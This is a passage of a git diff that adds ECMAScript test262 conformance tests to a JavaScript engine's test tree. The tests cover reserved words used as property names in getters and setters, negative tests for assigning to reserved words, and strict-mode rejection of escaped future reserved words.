+ set catch(value){
+ test2 = value;
+ },
+ get catch(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'new',
+ 'var',
+ 'catch'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-5.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-5.js
new file mode 100644
index 000000000..26d5f3aac
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-5.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-5.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: finally, return, void
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set finally(value){
+ test0 = value;
+ },
+ get finally(){
+ return test0;
+ },
+ set return(value){
+ test1 = value;
+ },
+ get return(){
+ return test1;
+ },
+ set void(value){
+ test2 = value;
+ },
+ get void(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'finally',
+ 'return',
+ 'void'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-6.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-6.js
new file mode 100644
index 000000000..4b5f217f4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-6.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-6.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: continue, for, switch
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set continue(value){
+ test0 = value;
+ },
+ get continue(){
+ return test0;
+ },
+ set for(value){
+ test1 = value;
+ },
+ get for(){
+ return test1;
+ },
+ set switch(value){
+ test2 = value;
+ },
+ get switch(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'continue',
+ 'for',
+ 'switch'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-7.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-7.js
new file mode 100644
index 000000000..58555e62e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-7.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-7.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: while, debugger, function
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set while(value){
+ test0 = value;
+ },
+ get while(){
+ return test0
+ },
+ set debugger(value){
+ test1 = value;
+ },
+ get debugger(){
+ return test1;
+ },
+ set function(value){
+ test2 = value;
+ },
+ get function(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'while' ,
+ 'debugger',
+ 'function'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-8.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-8.js
new file mode 100644
index 000000000..c6c39dd22
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-8.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-8.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: this, with, default
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set this(value){
+ test0 = value;
+ },
+ get this(){
+ return test0;
+ },
+ set with(value){
+ test1 = value;
+ },
+ get with(){
+ return test1;
+ },
+ set default(value){
+ test2 = value;
+ },
+ get default(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'this',
+ 'with',
+ 'default'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-9.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-9.js
new file mode 100644
index 000000000..f61ec565b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-9.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-9.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: if, throw, delete
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set if(value){
+ test0 = value;
+ },
+ get if(){
+ return test0;
+ },
+ set throw(value){
+ test1 = value;
+ },
+ get throw(){
+ return test1
+ },
+ set delete(value){
+ test2 = value;
+ },
+ get delete(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'if',
+ 'throw',
+ 'delete'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.1.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.1.js
new file mode 100644
index 000000000..89653b5cd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "break" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.1.js
+ * @description Checking if execution of "break=1" fails
+ * @negative
+ */
+
+break = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.10.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.10.js
new file mode 100644
index 000000000..0511807b6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.10.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "for" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.10.js
+ * @description Checking if execution of "for=1" fails
+ * @negative
+ */
+
+for = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.11.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.11.js
new file mode 100644
index 000000000..39d4b7efa
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.11.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "function" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.11.js
+ * @description Checking if execution of "function=1" fails
+ * @negative
+ */
+
+function = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.12.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.12.js
new file mode 100644
index 000000000..43433a6b5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.12.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "if" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.12.js
+ * @description Checking if execution of "if=1" fails
+ * @negative
+ */
+
+if = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.13.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.13.js
new file mode 100644
index 000000000..2e52df961
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.13.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "in" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.13.js
+ * @description Checking if execution of "in=1" fails
+ * @negative
+ */
+
+in = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.14.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.14.js
new file mode 100644
index 000000000..5867436c7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.14.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "instanceof" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.14.js
+ * @description Checking if execution of "instanceof=1" fails
+ * @negative
+ */
+
+instanceof = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.15.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.15.js
new file mode 100644
index 000000000..56ec3af72
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.15.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "new" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.15.js
+ * @description Checking if execution of "new=1" fails
+ * @negative
+ */
+
+new = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.16.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.16.js
new file mode 100644
index 000000000..7f6a21a7c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.16.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "return" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.16.js
+ * @description Checking if execution of "return=1" fails
+ * @negative
+ */
+
+return = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.17.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.17.js
new file mode 100644
index 000000000..34024b4d4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.17.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "switch" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.17.js
+ * @description Checking if execution of "switch=1" fails
+ * @negative
+ */
+
+switch = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.18.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.18.js
new file mode 100644
index 000000000..6068789b6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.18.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "this" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.18.js
+ * @description Checking if execution of "this=1" fails
+ * @negative
+ */
+
+this = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.19.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.19.js
new file mode 100644
index 000000000..bb5ce8b7d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.19.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "throw" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.19.js
+ * @description Checking if execution of "throw=1" fails
+ * @negative
+ */
+
+throw = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.2.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.2.js
new file mode 100644
index 000000000..fa0b3a8fd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "case" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.2.js
+ * @description Checking if execution of "case=1" fails
+ * @negative
+ */
+
+case = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.20.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.20.js
new file mode 100644
index 000000000..62ce326f6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.20.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "try" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.20.js
+ * @description Checking if execution of "try=1" fails
+ * @negative
+ */
+
+try = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.21.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.21.js
new file mode 100644
index 000000000..d2aeca3fc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.21.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "typeof" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.21.js
+ * @description Checking if execution of "typeof=1" fails
+ * @negative
+ */
+
+typeof = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.22.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.22.js
new file mode 100644
index 000000000..2530ab8e7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.22.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "var" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.22.js
+ * @description Checking if execution of "var=1" fails
+ * @negative
+ */
+
+var = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.23.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.23.js
new file mode 100644
index 000000000..61f99bce1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.23.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "void" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.23.js
+ * @description Checking if execution of "void=1" fails
+ * @negative
+ */
+
+void = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.24.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.24.js
new file mode 100644
index 000000000..8c6c2816d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.24.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "while" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.24.js
+ * @description Checking if execution of "while=1" fails
+ * @negative
+ */
+
+while = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.25.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.25.js
new file mode 100644
index 000000000..15a7745b1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.25.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "with" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.25.js
+ * @description Checking if execution of "with=1" fails
+ * @negative
+ */
+
+with = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.3.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.3.js
new file mode 100644
index 000000000..f69193845
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "catch" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.3.js
+ * @description Checking if execution of "catch=1" fails
+ * @negative
+ */
+
+catch = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.4.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.4.js
new file mode 100644
index 000000000..86c02078d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.4.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "continue" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.4.js
+ * @description Checking if execution of "contunue=1" fails
+ * @negative
+ */
+
+continue = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.5.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.5.js
new file mode 100644
index 000000000..52ad11b46
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.5.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "default" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.5.js
+ * @description Checking if execution of "default=1" fails
+ * @negative
+ */
+
+default = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.6.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.6.js
new file mode 100644
index 000000000..b6c24d8bf
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.6.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "delete" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.6.js
+ * @description Checking if execution of "delete=1" fails
+ * @negative
+ */
+
+delete = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.7.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.7.js
new file mode 100644
index 000000000..bce1d54ec
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.7.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "do" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.7.js
+ * @description Checking if execution of "do=1" fails
+ * @negative
+ */
+
+do = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.8.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.8.js
new file mode 100644
index 000000000..b51909070
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.8.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "else" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.8.js
+ * @description Checking if execution of "else=1" fails
+ * @negative
+ */
+
+else = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.9.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.9.js
new file mode 100644
index 000000000..cea582656
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.9.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "finally" token can not be used as identifier
+ *
+ * @path ch07/7.6/7.6.1/7.6.1.1/S7.6.1.1_A1.9.js
+ * @description Checking if execution of "finally=1" fails
+ * @negative
+ */
+
+finally = 1;
+
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/browser.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/browser.js
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/shell.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.1/shell.js
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2-1gs.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2-1gs.js
new file mode 100644
index 000000000..b76c692e7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2-1gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2-1gs.js
+ * @description Strict Mode - SyntaxError is thrown when FutureReservedWord 'implements' occurs in strict mode code
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+var implements = 1;
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-17-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-17-s.js
new file mode 100644
index 000000000..99014065a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-17-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1-17-s.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: implements (implements)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var \u0069mplements = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-18-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-18-s.js
new file mode 100644
index 000000000..3327995db
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-18-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1-18-s.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: l\u0065t (let)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var l\u0065t = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-19-s.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-19-s.js
new file mode 100644
index 000000000..14a5183d8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1.2/7.6.1-19-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1.2/7.6.1-19-s.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: privat\u0065 (private)
+ * @onlyStrict
+ */
+
+function testcase() {
+ "use strict";
+
+ try {
